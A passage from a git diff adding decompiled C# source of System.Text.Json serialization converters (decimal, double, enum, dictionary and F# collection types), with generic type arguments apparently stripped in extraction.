isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DecimalConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DecimalConverter.cs new file mode 100644 index 0000000..13f2b67 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DecimalConverter.cs @@ -0,0 +1,50 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class DecimalConverter : JsonPrimitiveConverter +{ + public DecimalConverter() + { + base.IsInternalConverterForNumberType = true; + } + + public override decimal Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDecimal(); + } + + public override void Write(Utf8JsonWriter writer, decimal value, JsonSerializerOptions options) + { + writer.WriteNumberValue(value); + } + + internal override decimal ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDecimalWithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, decimal value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override decimal ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String && (JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetDecimalWithQuotes(); + } + return reader.GetDecimal(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, decimal value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else + { + writer.WriteNumberValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DefaultObjectConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DefaultObjectConverter.cs new file mode 100644 index 0000000..983d196 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DefaultObjectConverter.cs @@ -0,0 +1,48 @@ +using System.Text.Json.Nodes; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class DefaultObjectConverter : ObjectConverter +{ + public DefaultObjectConverter() + { + base.RequiresReadAhead = true; + } + + public override object Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (options.UnknownTypeHandling == JsonUnknownTypeHandling.JsonElement) + { + return JsonElement.ParseValue(ref reader); + } + return JsonNodeConverter.Instance.Read(ref reader, typeToConvert, options); + } + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out object value) + { + object referenceValue; + if (options.UnknownTypeHandling == JsonUnknownTypeHandling.JsonElement) + { + JsonElement jsonElement = JsonElement.ParseValue(ref reader); + if (options.ReferenceHandlingStrategy == ReferenceHandlingStrategy.Preserve && JsonSerializer.TryHandleReferenceFromJsonElement(ref reader, ref state, jsonElement, out referenceValue)) + { + value = referenceValue; + } + else + { + value = jsonElement; + } + return true; + } + JsonNode jsonNode = JsonNodeConverter.Instance.Read(ref reader, typeToConvert, options); + if (options.ReferenceHandlingStrategy == ReferenceHandlingStrategy.Preserve && JsonSerializer.TryHandleReferenceFromJsonNode(ref reader, ref state, jsonNode, out referenceValue)) + { + value = referenceValue; + } + else + { + value = jsonNode; + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DictionaryDefaultConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DictionaryDefaultConverter.cs new file mode 100644 index 0000000..68d55a1 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DictionaryDefaultConverter.cs @@ -0,0 +1,60 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal abstract class DictionaryDefaultConverter : JsonDictionaryConverter where TDictionary : IEnumerable> +{ + internal override bool CanHaveMetadata => true; + + protected internal override bool OnWriteResume(Utf8JsonWriter writer, TDictionary value, JsonSerializerOptions options, ref WriteStack state) + { + IEnumerator> enumerator; + if (state.Current.CollectionEnumerator == null) + { + enumerator = value.GetEnumerator(); + if (!enumerator.MoveNext()) + { + enumerator.Dispose(); + return true; + } + } + else + { + enumerator = (IEnumerator>)state.Current.CollectionEnumerator; + } + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (_keyConverter == null) + { + _keyConverter = JsonDictionaryConverter.GetConverter(jsonTypeInfo.KeyTypeInfo); + } + if (_valueConverter == null) + { + _valueConverter = JsonDictionaryConverter.GetConverter(jsonTypeInfo.ElementTypeInfo); + } + do + { + if (JsonConverter.ShouldFlush(writer, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + if ((int)state.Current.PropertyState < 2) + { + state.Current.PropertyState = StackFramePropertyState.Name; + TKey key = enumerator.Current.Key; + _keyConverter.WriteAsPropertyNameCore(writer, key, options, state.Current.IsWritingExtensionDataProperty); + } + TValue value2 = enumerator.Current.Value; + if (!_valueConverter.TryWrite(writer, in value2, options, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + state.Current.EndDictionaryEntry(); + } + while (enumerator.MoveNext()); + enumerator.Dispose(); + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DictionaryOfTKeyTValueConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DictionaryOfTKeyTValueConverter.cs new file mode 100644 index 0000000..4001d35 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DictionaryOfTKeyTValueConverter.cs @@ -0,0 +1,78 @@ +using System.Collections.Generic; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class DictionaryOfTKeyTValueConverter : DictionaryDefaultConverter where TCollection : Dictionary +{ + internal override bool CanPopulate => true; + + protected override void Add(TKey key, in TValue value, JsonSerializerOptions options, ref ReadStack state) + { + ((TCollection)state.Current.ReturnValue)[key] = value; + } + + protected internal override bool OnWriteResume(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state) + { + Dictionary.Enumerator enumerator; + if (state.Current.CollectionEnumerator == null) + { + enumerator = value.GetEnumerator(); + if (!enumerator.MoveNext()) + { + enumerator.Dispose(); + return true; + } + } + else + { + enumerator = (Dictionary.Enumerator)(object)state.Current.CollectionEnumerator; + } + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (_keyConverter == null) + { + _keyConverter = JsonDictionaryConverter.GetConverter(jsonTypeInfo.KeyTypeInfo); + } + if (_valueConverter == null) + { + _valueConverter = JsonDictionaryConverter.GetConverter(jsonTypeInfo.ElementTypeInfo); + } + if (!state.SupportContinuation && _valueConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + do + { + TKey key = enumerator.Current.Key; + _keyConverter.WriteAsPropertyNameCore(writer, key, options, state.Current.IsWritingExtensionDataProperty); + _valueConverter.Write(writer, enumerator.Current.Value, options); + } + while (enumerator.MoveNext()); + } + else + { + do + { + if (JsonConverter.ShouldFlush(writer, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + if ((int)state.Current.PropertyState < 2) + { + state.Current.PropertyState = StackFramePropertyState.Name; + TKey key2 = enumerator.Current.Key; + _keyConverter.WriteAsPropertyNameCore(writer, key2, options, state.Current.IsWritingExtensionDataProperty); + } + TValue value2 = enumerator.Current.Value; + if (!_valueConverter.TryWrite(writer, in value2, options, ref state)) + { + state.Current.CollectionEnumerator = enumerator; + return false; + } + state.Current.EndDictionaryEntry(); + } + while (enumerator.MoveNext()); + } + enumerator.Dispose(); + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DoubleConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DoubleConverter.cs new file mode 100644 index 0000000..7c71cb2 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/DoubleConverter.cs @@ -0,0 +1,61 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class DoubleConverter : JsonPrimitiveConverter +{ + public DoubleConverter() + { + base.IsInternalConverterForNumberType = true; + } + + public override double Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDouble(); + } + + public override void Write(Utf8JsonWriter writer, double value, JsonSerializerOptions options) + { + writer.WriteNumberValue(value); + } + + internal override double ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return reader.GetDoubleWithQuotes(); + } + + internal override void WriteAsPropertyNameCore(Utf8JsonWriter writer, double value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + writer.WritePropertyName(value); + } + + internal override double ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.String) + { + if ((JsonNumberHandling.AllowReadingFromString & handling) != JsonNumberHandling.Strict) + { + return reader.GetDoubleWithQuotes(); + } + if ((JsonNumberHandling.AllowNamedFloatingPointLiterals & handling) != JsonNumberHandling.Strict) + { + return reader.GetDoubleFloatingPointConstant(); + } + } + return reader.GetDouble(); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, double value, JsonNumberHandling handling) + { + if ((JsonNumberHandling.WriteAsString & handling) != JsonNumberHandling.Strict) + { + writer.WriteNumberValueAsString(value); + } + else if ((JsonNumberHandling.AllowNamedFloatingPointLiterals & handling) != JsonNumberHandling.Strict) + { + writer.WriteFloatingPointConstant(value); + } + else + { + writer.WriteNumberValue(value); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverter.cs new file mode 100644 index 0000000..29a79e0 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverter.cs @@ -0,0 +1,405 @@ +using System.Collections.Concurrent; +using System.Globalization; +using System.Runtime.CompilerServices; +using System.Text.Encodings.Web; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class EnumConverter : JsonPrimitiveConverter where T : struct, Enum +{ + private static readonly TypeCode s_enumTypeCode = System.Type.GetTypeCode(typeof(T)); + + private static readonly bool s_isSignedEnum = (int)s_enumTypeCode % 2 == 1; + + private const string ValueSeparator = ", "; + + private readonly EnumConverterOptions _converterOptions; + + private readonly JsonNamingPolicy _namingPolicy; + + private readonly ConcurrentDictionary _nameCacheForWriting; + + private readonly ConcurrentDictionary _nameCacheForReading; + + private const int NameCacheSizeSoftLimit = 64; + + public override bool CanConvert(Type type) + { + return type.IsEnum; + } + + public EnumConverter(EnumConverterOptions converterOptions, JsonSerializerOptions serializerOptions) + : this(converterOptions, (JsonNamingPolicy)null, serializerOptions) + { + } + + public EnumConverter(EnumConverterOptions converterOptions, JsonNamingPolicy namingPolicy, JsonSerializerOptions serializerOptions) + { + _converterOptions = converterOptions; + _namingPolicy = namingPolicy; + _nameCacheForWriting = new ConcurrentDictionary(); + if (namingPolicy != null) + { + _nameCacheForReading = new ConcurrentDictionary(); + } + string[] names = Enum.GetNames(Type); + Array values = Enum.GetValues(Type); + JavaScriptEncoder encoder = serializerOptions.Encoder; + for (int i = 0; i < names.Length; i++) + { + T val = (T)values.GetValue(i); + ulong key = ConvertToUInt64(val); + string text = names[i]; + string text2 = FormatJsonName(text, namingPolicy); + _nameCacheForWriting.TryAdd(key, JsonEncodedText.Encode(text2, encoder)); + _nameCacheForReading?.TryAdd(text2, val); + if (text.AsSpan().IndexOfAny(',', ' ') >= 0) + { + ThrowHelper.ThrowInvalidOperationException_InvalidEnumTypeWithSpecialChar(typeof(T), text); + } + } + } + + public override T Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + switch (reader.TokenType) + { + case JsonTokenType.String: + { + if ((_converterOptions & EnumConverterOptions.AllowStrings) == 0) + { + ThrowHelper.ThrowJsonException(); + return default(T); + } + string enumString = reader.GetString(); + if (TryParseEnumCore(enumString, options, out var value9)) + { + return value9; + } + return ReadEnumUsingNamingPolicy(enumString); + } + case JsonTokenType.Number: + if ((_converterOptions & EnumConverterOptions.AllowNumbers) != 0) + { + switch (s_enumTypeCode) + { + case TypeCode.Int32: + { + if (reader.TryGetInt32(out var value8)) + { + return Unsafe.As(ref value8); + } + break; + } + case TypeCode.UInt32: + { + if (reader.TryGetUInt32(out var value4)) + { + return Unsafe.As(ref value4); + } + break; + } + case TypeCode.UInt64: + { + if (reader.TryGetUInt64(out var value6)) + { + return Unsafe.As(ref value6); + } + break; + } + case TypeCode.Int64: + { + if (reader.TryGetInt64(out var value2)) + { + return Unsafe.As(ref value2); + } + break; + } + case TypeCode.SByte: + { + if (reader.TryGetSByte(out var value7)) + { + return Unsafe.As(ref value7); + } + break; + } + case TypeCode.Byte: + { + if (reader.TryGetByte(out var value5)) + { + return Unsafe.As(ref value5); + } + break; + } + case TypeCode.Int16: + { + if (reader.TryGetInt16(out var value3)) + { + return Unsafe.As(ref value3); + } + break; + } + case TypeCode.UInt16: + { + if (reader.TryGetUInt16(out var value)) + { + return Unsafe.As(ref value); + } + break; + } + } + ThrowHelper.ThrowJsonException(); + return default(T); + } + goto default; + default: + ThrowHelper.ThrowJsonException(); + return default(T); + } + } + + public override void Write(Utf8JsonWriter writer, T value, JsonSerializerOptions options) + { + if ((_converterOptions & EnumConverterOptions.AllowStrings) != 0) + { + ulong key = ConvertToUInt64(value); + if (_nameCacheForWriting.TryGetValue(key, out var value2)) + { + writer.WriteStringValue(value2); + return; + } + string value3 = value.ToString(); + if (IsValidIdentifier(value3)) + { + value3 = FormatJsonName(value3, _namingPolicy); + if (_nameCacheForWriting.Count < 64) + { + value2 = JsonEncodedText.Encode(value3, options.Encoder); + writer.WriteStringValue(value2); + _nameCacheForWriting.TryAdd(key, value2); + } + else + { + writer.WriteStringValue(value3); + } + return; + } + } + if ((_converterOptions & EnumConverterOptions.AllowNumbers) == 0) + { + ThrowHelper.ThrowJsonException(); + } + switch (s_enumTypeCode) + { + case TypeCode.Int32: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + case TypeCode.UInt32: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + case TypeCode.UInt64: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + case TypeCode.Int64: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + case TypeCode.Int16: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + case TypeCode.UInt16: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + case TypeCode.Byte: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + case TypeCode.SByte: + writer.WriteNumberValue(Unsafe.As(ref value)); + break; + default: + ThrowHelper.ThrowJsonException(); + break; + } + } + + internal override T ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (!TryParseEnumCore(reader.GetString(), options, out var value)) + { + ThrowHelper.ThrowJsonException(); + } + return value; + } + + internal unsafe override void WriteAsPropertyNameCore(Utf8JsonWriter writer, T value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + ulong key = ConvertToUInt64(value); + if (options.DictionaryKeyPolicy == null && _nameCacheForWriting.TryGetValue(key, out var value2)) + { + writer.WritePropertyName(value2); + return; + } + string value3 = value.ToString(); + if (IsValidIdentifier(value3)) + { + if (options.DictionaryKeyPolicy != null) + { + value3 = FormatJsonName(value3, options.DictionaryKeyPolicy); + writer.WritePropertyName(value3); + return; + } + value3 = FormatJsonName(value3, _namingPolicy); + if (_nameCacheForWriting.Count < 64) + { + value2 = JsonEncodedText.Encode(value3, options.Encoder); + writer.WritePropertyName(value2); + _nameCacheForWriting.TryAdd(key, value2); + } + else + { + writer.WritePropertyName(value3); + } + return; + } + switch (s_enumTypeCode) + { + case TypeCode.Int32: + writer.WritePropertyName(*(int*)(&value)); + break; + case TypeCode.UInt32: + writer.WritePropertyName(*(uint*)(&value)); + break; + case TypeCode.UInt64: + writer.WritePropertyName(*(ulong*)(&value)); + break; + case TypeCode.Int64: + writer.WritePropertyName(*(long*)(&value)); + break; + case TypeCode.Int16: + writer.WritePropertyName(*(short*)(&value)); + break; + case TypeCode.UInt16: + writer.WritePropertyName(*(ushort*)(&value)); + break; + case TypeCode.Byte: + writer.WritePropertyName(*(byte*)(&value)); + break; + case TypeCode.SByte: + writer.WritePropertyName(*(sbyte*)(&value)); + break; + default: + ThrowHelper.ThrowJsonException(); + break; + } + } + + private static bool TryParseEnumCore(string enumString, JsonSerializerOptions _, out T value) + { + T result2; + bool result = Enum.TryParse(enumString, out result2) || Enum.TryParse(enumString, ignoreCase: true, out result2); + value = result2; + return result; + } + + private T ReadEnumUsingNamingPolicy(string enumString) + { + if (_namingPolicy == null) + { + ThrowHelper.ThrowJsonException(); + } + if (enumString == null) + { + ThrowHelper.ThrowJsonException(); + } + bool flag; + if (!(flag = _nameCacheForReading.TryGetValue(enumString, out var value)) && enumString.Contains(", ")) + { + string[] array = SplitFlagsEnum(enumString); + ulong num = 0uL; + for (int i = 0; i < array.Length; i++) + { + flag = _nameCacheForReading.TryGetValue(array[i], out value); + if (!flag) + { + break; + } + num |= ConvertToUInt64(value); + } + value = (T)Enum.ToObject(typeof(T), num); + if (flag && _nameCacheForReading.Count < 64) + { + _nameCacheForReading[enumString] = value; + } + } + if (!flag) + { + ThrowHelper.ThrowJsonException(); + } + return value; + } + + private static ulong ConvertToUInt64(object value) + { + return s_enumTypeCode switch + { + TypeCode.Int32 => (ulong)(int)value, + TypeCode.UInt32 => (uint)value, + TypeCode.UInt64 => (ulong)value, + TypeCode.Int64 => (ulong)(long)value, + TypeCode.SByte => (ulong)(sbyte)value, + TypeCode.Byte => (byte)value, + TypeCode.Int16 => (ulong)(short)value, + TypeCode.UInt16 => (ushort)value, + _ => throw new InvalidOperationException(), + }; + } + + private static bool IsValidIdentifier(string value) + { + if (value[0] >= 'A') + { + if (s_isSignedEnum) + { + return !value.StartsWith(NumberFormatInfo.CurrentInfo.NegativeSign); + } + return true; + } + return false; + } + + private static string FormatJsonName(string value, JsonNamingPolicy namingPolicy) + { + if (namingPolicy == null) + { + return value; + } + string text; + if (!value.Contains(", ")) + { + text = namingPolicy.ConvertName(value); + if (text == null) + { + ThrowHelper.ThrowInvalidOperationException_NamingPolicyReturnNull(namingPolicy); + } + } + else + { + string[] array = SplitFlagsEnum(value); + for (int i = 0; i < array.Length; i++) + { + string text2 = namingPolicy.ConvertName(array[i]); + if (text2 == null) + { + ThrowHelper.ThrowInvalidOperationException_NamingPolicyReturnNull(namingPolicy); + } + array[i] = text2; + } + text = string.Join(", ", array); + } + return text; + } + + private static string[] SplitFlagsEnum(string value) + { + return value.Split(new string[1] { ", " }, StringSplitOptions.None); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverterFactory.cs new file mode 100644 index 0000000..0ebb48e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverterFactory.cs @@ -0,0 +1,29 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Json.Serialization.Converters; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class EnumConverterFactory : JsonConverterFactory +{ + public override bool CanConvert(Type type) + { + return type.IsEnum; + } + + public override JsonConverter CreateConverter(Type type, JsonSerializerOptions options) + { + return Create(type, EnumConverterOptions.AllowNumbers, null, options); + } + + internal static JsonConverter Create(Type enumType, EnumConverterOptions converterOptions, JsonNamingPolicy namingPolicy, JsonSerializerOptions options) + { + return (JsonConverter)Activator.CreateInstance(GetEnumConverterType(enumType), converterOptions, namingPolicy, options); + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2070:UnrecognizedReflectionPattern", Justification = "'EnumConverter where T : struct' implies 'T : new()', so the trimmer is warning calling MakeGenericType here because enumType's constructors are not annotated. But EnumConverter doesn't call new T(), so this is safe.")] + [return: DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicConstructors)] + private static Type GetEnumConverterType(Type enumType) + { + return typeof(EnumConverter<>).MakeGenericType(enumType); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverterOptions.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverterOptions.cs new file mode 100644 index 0000000..cc3e7d3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/EnumConverterOptions.cs @@ -0,0 +1,8 @@ +namespace System.Text.Json.Serialization.Converters; + +[Flags] +internal enum EnumConverterOptions +{ + AllowStrings = 1, + AllowNumbers = 2 +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpListConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpListConverter.cs new file mode 100644 index 0000000..ac413e0 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpListConverter.cs @@ -0,0 +1,34 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class FSharpListConverter : IEnumerableDefaultConverter where TList : IEnumerable +{ + private readonly Func, TList> _listConstructor; + + internal override bool SupportsCreateObjectDelegate => false; + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public FSharpListConverter() + { + _listConstructor = FSharpCoreReflectionProxy.Instance.CreateFSharpListConstructor(); + } + + protected override void Add(in TElement value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = new List(); + } + + protected override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = _listConstructor((List)state.Current.ReturnValue); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpMapConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpMapConverter.cs new file mode 100644 index 0000000..3a52919 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpMapConverter.cs @@ -0,0 +1,36 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class FSharpMapConverter : DictionaryDefaultConverter where TMap : IEnumerable> +{ + private readonly Func>, TMap> _mapConstructor; + + internal override bool CanHaveMetadata => false; + + internal override bool SupportsCreateObjectDelegate => false; + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public FSharpMapConverter() + { + _mapConstructor = FSharpCoreReflectionProxy.Instance.CreateFSharpMapConstructor(); + } + + protected override void Add(TKey key, in TValue value, JsonSerializerOptions options, ref ReadStack state) + { + ((List>)state.Current.ReturnValue).Add(new Tuple(key, value)); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state) + { + state.Current.ReturnValue = new List>(); + } + + protected override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = _mapConstructor((List>)state.Current.ReturnValue); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpOptionConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpOptionConverter.cs new file mode 100644 index 0000000..f013a08 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpOptionConverter.cs @@ -0,0 +1,77 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class FSharpOptionConverter : JsonConverter where TOption : class +{ + private readonly JsonConverter _elementConverter; + + private readonly Func _optionValueGetter; + + private readonly Func _optionConstructor; + + internal override Type ElementType => typeof(TElement); + + public override bool HandleNull => true; + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public FSharpOptionConverter(JsonConverter elementConverter) + { + _elementConverter = elementConverter; + _optionValueGetter = FSharpCoreReflectionProxy.Instance.CreateFSharpOptionValueGetter(); + _optionConstructor = FSharpCoreReflectionProxy.Instance.CreateFSharpOptionSomeConstructor(); + base.ConverterStrategy = elementConverter.ConverterStrategy; + } + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out TOption value) + { + if (!state.IsContinuation && reader.TokenType == JsonTokenType.Null) + { + value = null; + return true; + } + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + if (_elementConverter.TryRead(ref reader, typeof(TElement), options, ref state, out var value2, out var _)) + { + value = _optionConstructor(value2); + return true; + } + value = null; + return false; + } + + internal override bool OnTryWrite(Utf8JsonWriter writer, TOption value, JsonSerializerOptions options, ref WriteStack state) + { + if (value == null) + { + writer.WriteNullValue(); + return true; + } + TElement value2 = _optionValueGetter(value); + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + return _elementConverter.TryWrite(writer, in value2, options, ref state); + } + + public override void Write(Utf8JsonWriter writer, TOption value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + return; + } + TElement value2 = _optionValueGetter(value); + _elementConverter.Write(writer, value2, options); + } + + public override TOption Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.Null) + { + return null; + } + TElement arg = _elementConverter.Read(ref reader, typeToConvert, options); + return _optionConstructor(arg); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpSetConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpSetConverter.cs new file mode 100644 index 0000000..fc717c6 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpSetConverter.cs @@ -0,0 +1,34 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class FSharpSetConverter : IEnumerableDefaultConverter where TSet : IEnumerable +{ + private readonly Func, TSet> _setConstructor; + + internal override bool SupportsCreateObjectDelegate => false; + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public FSharpSetConverter() + { + _setConstructor = FSharpCoreReflectionProxy.Instance.CreateFSharpSetConstructor(); + } + + protected override void Add(in TElement value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = new List(); + } + + protected override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = _setConstructor((List)state.Current.ReturnValue); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpTypeConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpTypeConverterFactory.cs new file mode 100644 index 0000000..1351df9 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/FSharpTypeConverterFactory.cs @@ -0,0 +1,80 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +[RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] +internal sealed class FSharpTypeConverterFactory : JsonConverterFactory +{ + private ObjectConverterFactory _recordConverterFactory; + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + public FSharpTypeConverterFactory() + { + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2026:RequiresUnreferencedCode", Justification = "The ctor is marked RequiresUnreferencedCode.")] + public override bool CanConvert(Type typeToConvert) + { + if (FSharpCoreReflectionProxy.IsFSharpType(typeToConvert)) + { + return FSharpCoreReflectionProxy.Instance.DetectFSharpKind(typeToConvert) != FSharpCoreReflectionProxy.FSharpKind.Unrecognized; + } + return false; + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2026:RequiresUnreferencedCode", Justification = "The ctor is marked RequiresUnreferencedCode.")] + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2055:MakeGenericType", Justification = "The ctor is marked RequiresUnreferencedCode.")] + public override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + object[] args = null; + Type type2; + switch (FSharpCoreReflectionProxy.Instance.DetectFSharpKind(typeToConvert)) + { + case FSharpCoreReflectionProxy.FSharpKind.Option: + { + Type type = typeToConvert.GetGenericArguments()[0]; + type2 = typeof(FSharpOptionConverter<, >).MakeGenericType(typeToConvert, type); + args = new object[1] { 